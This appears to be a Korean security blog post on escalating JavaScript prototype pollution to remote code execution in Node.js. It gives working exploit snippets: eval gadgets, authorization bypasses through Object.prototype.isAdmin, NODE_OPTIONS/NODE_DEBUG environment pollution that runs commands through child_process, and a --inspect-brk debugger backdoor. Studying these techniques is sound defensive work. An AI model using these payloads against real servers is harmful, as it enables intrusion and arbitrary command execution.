Prototype Pollution to RCE

   

Prototype pollution 은 객체 기반 스크립트 언어라는 자바스크립트 특이성으로 인해 발생합니다. 따라서 Nodejs 등 자바스크립트 엔진 기반 서버에서 존재하는 취약점입니다. 자바스크립트의 자료형은 prototype 속성을 포함하는데 특정 객체 / 클래스의 prototype 데이터의 변조가 가능하다면 이후 그 객체의 생성자를 통해 새로운 인스턴스를 생성 할 때에 참조하는 프로토타입 객체의 속성이 변경됩니다.

1
2
3
var inst = new Object();
inst.__proto__.isAdmin = true;
console.log(isAdmin); // true

위처럼 특정 객체 클래스의 인스턴스의 __proto__ 속성을 추가해 주는 것으로 다음 생성될 인스턴스의 속성에까지 영향을 끼칠 수 있습니다. DOM 과 NodeJS 에서 사용하는 window, process, global, root 등의 전역 변수 또한 Object 를 상속하고 있으므로 Object.prototype을 변조시킬 경우, 전역 객체 내부의 정의되지 않은 값 또한 임의로 조작될 수 있습니다.

본 취약점은 https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/ 에 상세하게 기술되어 있습니다.

Prototype Pollution은 임의의 변수를 선언하여, 높은 확률로 프로그램의 흐름을 조작할 수 있도록 합니다.
따라서 화이트 박스 테스팅에서는 수월하게 취약점을 확인할 수 있지만
블랙박스 테스팅에서는, 본 취약점의 존재를 확인했다고 하더라도 DOS 이상의 Impact를 내는 것이 어려울 수 있습니다.

본 게시글은 이러한 상황에서 서버 RCE 를 유발하는 몇가지 방법을 소개합니다.

Code Execution

1
2
3
4
Object.prototype.command = 'console.log("executed!")';
if (command) {
eval(command);
}

본 취약점이 존재하는 상황에서 RCE를 유발할 수 있는 가장 좋은 상황은 위와 같습니다.
선언이나 검증 과정 없이, eval 함수에 특정 변수를 인자로 하여 전달할 수 있다면
아주 편안하게 RCE를 유발할 수 있습니다.

Logical Vectors

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Object.prototype.polluted = true;
if (polluted in this) {
// do something
}
// Pollution
Object.prototype.polluted = 'something'
// Use
var obj = new Object();
for (let atrr in obj) {
// do something
}
Object.prototype.isAdmin = true;
if (session.isAdmin) {
// do something
}
if (session.id === 'admin') {
// do something
}
function (value, options) {
if (options.auth) {
// do something
}
}
class A {}
inst_a = new A();
inst_a.__proto__.__proto__ = ['something'];
inst_a.toString() // "something"

Process spawning

1
2
3
4
5
6
7
8
// https://github.com/nodejs/node/blob/master/lib/child_process.js#L514

for (const key in env) {
const value = env[key];
if (value !== undefined) {
envPairs.push(`${key}=${value}`);
}
}

NodeJS의 내장 모듈이며, 서브 프로세스를 생성하는 데에 사용되는
child_process 모듈은 자식 프로세스를 생성할 때, 환경 변수를 복사하는 과정을 거치는데
복사 과정에 위에서 언급된 for in 반복문을 사용하고 있으므로

process.env 객체 내부에 직접적으로 정의되지 않았더라도
process.env 의 프로토 타입인 Object.prototype 객체가 오염된다면
자식 프로세스 생성에 쓰이는 환경 변수를 임의로 추가해낼 수 있습니다.

1
2
3
NODE_OPTIONS='--require /proc/self/environ' node app.js
// same as
node --require /proc/self/environ app.js

또한 NodeJS 프로세스가 실행될 때, 스크립트가 실행되기 이전에 쓰이는 환경 변수중의 하나로 NODE_OPTIONS 환경변수가 존재하는데
본 변수에 --require [argv] 와 같은 NodeJS 프로세스 실행에 사용되는 옵션을 추가하면
스크립트 실행에 --require [argv] 추가하여 실행한 것과 같은 효과를 줍니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("mkdir executed")//',
NODE_OPTIONS : '-r /proc/self/environ'
};

// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());

위 두가지를 복합적으로 사용하여 RCE를 유발하는 방법입니다.
환경 변수에 스크립트를 포함시키고, 환경 변수가 저장되는 /proc/self/environ 파일을 옵션으로 지정하여, 임의 명령을 실행할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');

// pollute
Object.prototype.env = {
NODE_OPTIONS : '--inspect-brk=0.0.0.0:1234'
};

// method 1
fork('blank');
// method 2
exec('node blank');
// method 3
execSync('node blank');
// method 4
spawn('node', ['blank']);
// method 5
spawnSync('node', ['blank']);

/proc/self/environ 파일을 사용하는 이전의 방법은 리눅스 서버에서만 작동한다는 단점이 존재합니다.
하지만, --inspect-brk 옵션을 이용하면 윈도우에서도 사용이 가능하도록 할 수 있습니다.
본 옵션을 사용하여 서브 노드 프로세스를 생성하면, 해당 프로세스는 옵션에 설정된 포트로 디버거가 연결될 때가지 대기하며
사실상 백도어와 동일한 역할을 수행할 수 있습니다.

디버깅 포트가 열리면 node inspect host:port 와 같은 명령을 통해 서버에 연결할 수 있습니다.
이후 exec 서브 커맨드를 사용하면 exec child_process.exec('mkdir executed') 와 같은 명령을 이용해
서버에서 임의의 명령을 실행하게 만들 수 있습니다.

img

Reference